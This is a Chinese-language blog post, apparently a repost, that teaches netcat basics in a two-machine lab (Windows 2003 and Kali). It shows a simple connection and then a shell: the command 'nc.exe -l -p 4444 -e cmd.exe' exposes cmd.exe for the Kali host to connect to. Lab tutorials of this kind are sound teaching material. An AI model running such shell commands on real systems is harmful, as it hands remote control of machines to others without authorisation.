码迷,mamicode.com
首页 > Web开发 > 详细

使用Netcat实现通信和反弹Shell

时间:2020-05-19 14:38:58      阅读:97      评论:0      收藏:0      [点我收藏+]

标签:udp   img   参数   环境   客户   netcat   台电脑   cat   mil   

一、概述

nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp

-v 参数,详细输出

-n参数,netcat不要DNS反向查询IP的域名

-z参数,连接成功后立即关闭连接

-l参数 监听

-p参数 指定对应端口

-e参数 指定对应的应用程序

?

二、实验环境

1.Win2003 IP:192.168.0.107

2.kali linux IP:192.168.0.108

?

三、实验演示

?

建立C-S连接

?

  1. 在win2003中执行nc.exe -l -p 4444

    在4444端口上监听

技术图片

  1. 在kail中执行nc 192.168.0.107 4444

    连接目标机4444端口

    技术图片

3.在kali(客户端)下输入语句,在win上就会接收到

技术图片

技术图片

?

?

通过NC反弹shell

?

  1. 在win下执行 nc.exe -l -p 4444 -e cmd.exe

技术图片

?

  1. kali执行 nc 192.168.0.107 4444

连接后可以看到win返回过来一个shell

技术图片

?

使用Netcat实现通信和反弹Shell

标签:udp   img   参数   环境   客户   netcat   台电脑   cat   mil   

原文地址:https://www.cnblogs.com/hzk001/p/12916440.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!